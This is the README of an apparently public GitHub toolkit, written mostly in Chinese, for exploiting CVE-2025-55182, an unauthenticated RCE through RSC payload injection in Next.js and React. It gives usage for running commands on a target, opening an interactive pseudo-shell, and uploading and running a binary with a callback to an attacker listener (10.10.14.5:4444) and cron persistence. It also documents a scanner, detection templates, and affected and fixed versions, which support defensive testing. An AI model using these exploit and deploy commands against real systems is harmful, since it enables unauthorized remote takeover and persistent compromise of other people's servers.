Saturate/CVE-2025-55182-react2shell
GitHub: Saturate/CVE-2025-55182-react2shell
针对 CVE-2025-55182(Next.js/React RSC 注入导致 RCE)的 Bash 扫描器与零依赖 Node.js exploit 脚本工具包。
Stars: 1 | Forks: 0
# react2shell
CVE-2025-55182 工具包。用于通过 RSC payload 注入在 Next.js 中实现未授权 RCE 的扫描器 + exploit。
Node.js exploit:零依赖。
Bash 扫描器:检查单个 URL 或批量列表。
## Exploit
```
# 带输出的单条命令
./react2shell.mjs -t http://target:3000 -c "id"
# 交互式 pseudo-shell
./react2shell.mjs -t http://target:3000 -i
# 部署 binary 到目标 (下载 + chmod + 离线执行)
./react2shell.mjs -t http://target:3000 \
--deploy ./my-agent \
--remote-args "-H 10.10.14.5 -p 4444 --tls --cron"
```
```
Options:
-t, --target Target URL (required)
-c, --command Execute command with output
--blind Blind RCE (no output capture)
-i, --interactive Interactive pseudo-shell
--deploy Upload and execute a binary on the target
--lhost Your IP (auto-detected if omitted)
--serve-port HTTP port to serve the binary (default: 8888)
--remote-args Arguments passed to the deployed binary
```
`--deploy` 链接了四个 RCE 调用:平台检测 (`uname`),二进制文件下载(启动一个临时 HTTP 服务器,并在目标上使用 `curl`/`wget`),以及一个分离的 `spawn`,以便进程能够在 5 秒的 `execSync` 超时后继续存活。
## 扫描器
```
chmod +x cve-2025-55182-check.sh
# 扫描单个 URL
./cve-2025-55182-check.sh https://example.com
# 扫描多个 URL
./cve-2025-55182-check.sh -f urls.txt
# JSON 输出
./cve-2025-55182-check.sh --json https://example.com
```
```
Options:
-f, --file FILE Read URLs from file (one per line)
-v, --verbose Verbose output (show curl details)
-q, --quiet Quiet mode (only show vulnerable sites)
-n, --no-follow Don't follow redirects
-t, --timeout SECONDS Request timeout (default: 10)
--json Output results in JSON format
--validate-fix Test for mitigation controls
--single-payload Use only the basic payload (faster)
```
## 集成模板
`templates/` 中的安全工具模板:
- Nuclei (`templates/nuclei.yaml`)
- Burp Suite (`templates/burp-scanner.json`)
- OWASP ZAP (`templates/zap-scan-policy.xml`)
## 受影响版本
**React:** 19.0.0, 19.1.0, 19.1.1, 19.2.0
**Next.js:** >=14.3.0-canary.77,所有 15.x 和 16.x(修复前)
**已修复:**
React 19.0.1+, 19.1.2+, 19.2.1+
Next.js 16.0.7+, 15.5.7+, 15.4.8+, 15.3.6+, 15.2.6+, 15.1.9+, 15.0.5+
## 技术细节
有关完整的 exploit 链分析,请参阅 [TECHNICAL.md](TECHNICAL.md)。
## 参考文献
- **CVE:** https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-55182
- **React 公告:** https://react.dev/blog/2025/12/03/critical-security-vulnerability
- **修复提交:** https://github.com/facebook/react/commit/7dc903cd29
## 许可证
MIT
## 作者
Allan Kimmer Jensen - https://akj.io
标签:Bash, CISA项目, GNU通用公共许可证, MITM代理, Node.js, 加密, 命令执行, 应用安全, 漏洞扫描器, 网络信息收集, 自定义脚本